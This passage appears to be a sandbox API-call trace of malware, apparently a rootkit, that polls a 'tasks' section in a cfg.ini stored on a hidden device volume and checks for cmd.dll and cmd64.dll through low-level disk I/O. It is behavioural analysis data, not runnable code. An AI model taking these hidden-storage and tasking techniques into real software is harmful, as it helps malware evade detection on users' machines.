KeLeaveCriticalRegion () [0122.054] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.055] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.055] KeEnterCriticalRegion () [0122.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.055] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.055] KeLeaveCriticalRegion () [0122.055] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.055] KeEnterCriticalRegion () [0122.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.055] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.055] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.055] KeLeaveCriticalRegion () [0122.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.055] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.055] KeEnterCriticalRegion () [0122.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.055] ExFreePoolWithTag (P=0xfffffa8003be3e60, Tag=0x0) [0122.055] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.055] KeLeaveCriticalRegion () [0122.055] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.055] ReleaseMutex (hMutex=0xf0) returned 1 [0122.055] Sleep (dwMilliseconds=0x927c0) [0122.069] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.069] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.069] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.069] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.069] KeEnterCriticalRegion () [0122.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.069] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.069] IdePortDispatch () returned 0x103 [0122.069] KeWaitForMutexObject () returned 0x0 [0122.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.070] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.070] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.070] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.070] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.070] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be22f0 [0122.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.070] KeLeaveCriticalRegion () [0122.070] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.070] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.070] KeEnterCriticalRegion () [0122.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.070] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.070] KeLeaveCriticalRegion () [0122.070] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.070] KeEnterCriticalRegion () [0122.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.070] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.070] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.070] IdePortDispatch () returned 0x103 [0122.070] KeWaitForMutexObject () returned 0x0 [0122.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.070] KeLeaveCriticalRegion () [0122.070] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.070] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.070] KeEnterCriticalRegion () [0122.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.070] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1f000 [0122.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.070] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.070] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.070] IdePortDispatch () returned 0x103 [0122.071] KeWaitForMutexObject () returned 0x0 [0122.071] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.071] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.071] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.071] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.071] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.071] IdePortDispatch () returned 0x103 [0122.071] KeWaitForMutexObject () returned 0x0 [0122.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.071] KeLeaveCriticalRegion () [0122.071] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.071] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.071] KeEnterCriticalRegion () [0122.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.071] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.072] KeLeaveCriticalRegion () [0122.072] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.072] KeEnterCriticalRegion () [0122.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.072] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.072] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.072] KeLeaveCriticalRegion () [0122.072] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.072] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.072] KeEnterCriticalRegion () [0122.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.072] ExFreePoolWithTag (P=0xfffffa8003be22f0, Tag=0x0) [0122.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.072] KeLeaveCriticalRegion () [0122.072] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.072] ReleaseMutex (hMutex=0xf0) returned 1 [0122.072] Sleep (dwMilliseconds=0x927c0) [0122.086] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.086] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.086] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.086] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.086] KeEnterCriticalRegion () [0122.086] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.086] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.086] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.086] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.086] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.086] IdePortDispatch () returned 0x103 [0122.086] KeWaitForMutexObject () returned 0x0 [0122.087] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.087] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.087] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.087] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.087] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.087] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3b60 [0122.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.087] KeLeaveCriticalRegion () [0122.087] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.087] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.087] KeEnterCriticalRegion () [0122.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.087] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.087] KeLeaveCriticalRegion () [0122.087] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.087] KeEnterCriticalRegion () [0122.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.087] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.087] IdePortDispatch () returned 0x103 [0122.088] KeWaitForMutexObject () returned 0x0 [0122.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.088] KeLeaveCriticalRegion () [0122.088] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.088] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.088] KeEnterCriticalRegion () [0122.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.088] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c24000 [0122.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.088] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.088] IdePortDispatch () returned 0x103 [0122.088] KeWaitForMutexObject () returned 0x0 [0122.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.088] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.088] IdePortDispatch () returned 0x103 [0122.088] KeWaitForMutexObject () returned 0x0 [0122.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.089] KeLeaveCriticalRegion () [0122.089] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.089] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.089] KeEnterCriticalRegion () [0122.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.089] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.089] KeLeaveCriticalRegion () [0122.089] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.089] KeEnterCriticalRegion () [0122.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.089] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.089] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.089] KeLeaveCriticalRegion () [0122.089] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.090] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.090] KeEnterCriticalRegion () [0122.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.090] ExFreePoolWithTag (P=0xfffffa8003be3b60, Tag=0x0) [0122.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.090] KeLeaveCriticalRegion () [0122.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.090] ReleaseMutex (hMutex=0xf0) returned 1 [0122.090] Sleep (dwMilliseconds=0x927c0) [0122.104] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.104] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.104] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.104] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.104] KeEnterCriticalRegion () [0122.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.104] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.104] IdePortDispatch () returned 0x103 [0122.104] KeWaitForMutexObject () returned 0x0 [0122.104] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.104] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.104] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.104] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.104] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.104] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9550 [0122.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.104] KeLeaveCriticalRegion () [0122.104] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.104] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.104] KeEnterCriticalRegion () [0122.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.104] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.104] KeLeaveCriticalRegion () [0122.104] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.105] KeEnterCriticalRegion () [0122.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.105] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.105] IdePortDispatch () returned 0x103 [0122.105] KeWaitForMutexObject () returned 0x0 [0122.105] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.105] KeLeaveCriticalRegion () [0122.105] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.105] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.105] KeEnterCriticalRegion () [0122.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.105] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c29000 [0122.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.105] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.105] IdePortDispatch () returned 0x103 [0122.105] KeWaitForMutexObject () returned 0x0 [0122.105] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.105] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.105] IdePortDispatch () returned 0x103 [0122.106] KeWaitForMutexObject () returned 0x0 [0122.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.106] KeLeaveCriticalRegion () [0122.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.106] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.106] KeEnterCriticalRegion () [0122.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.106] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.106] KeLeaveCriticalRegion () [0122.106] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.106] KeEnterCriticalRegion () [0122.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.106] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.106] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3910, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.106] KeLeaveCriticalRegion () [0122.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.106] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.107] KeEnterCriticalRegion () [0122.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.107] ExFreePoolWithTag (P=0xfffffa8003bc9550, Tag=0x0) [0122.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.107] KeLeaveCriticalRegion () [0122.107] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.107] ReleaseMutex (hMutex=0xf0) returned 1 [0122.107] Sleep (dwMilliseconds=0x927c0) [0122.121] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.121] WaitForSingleObject 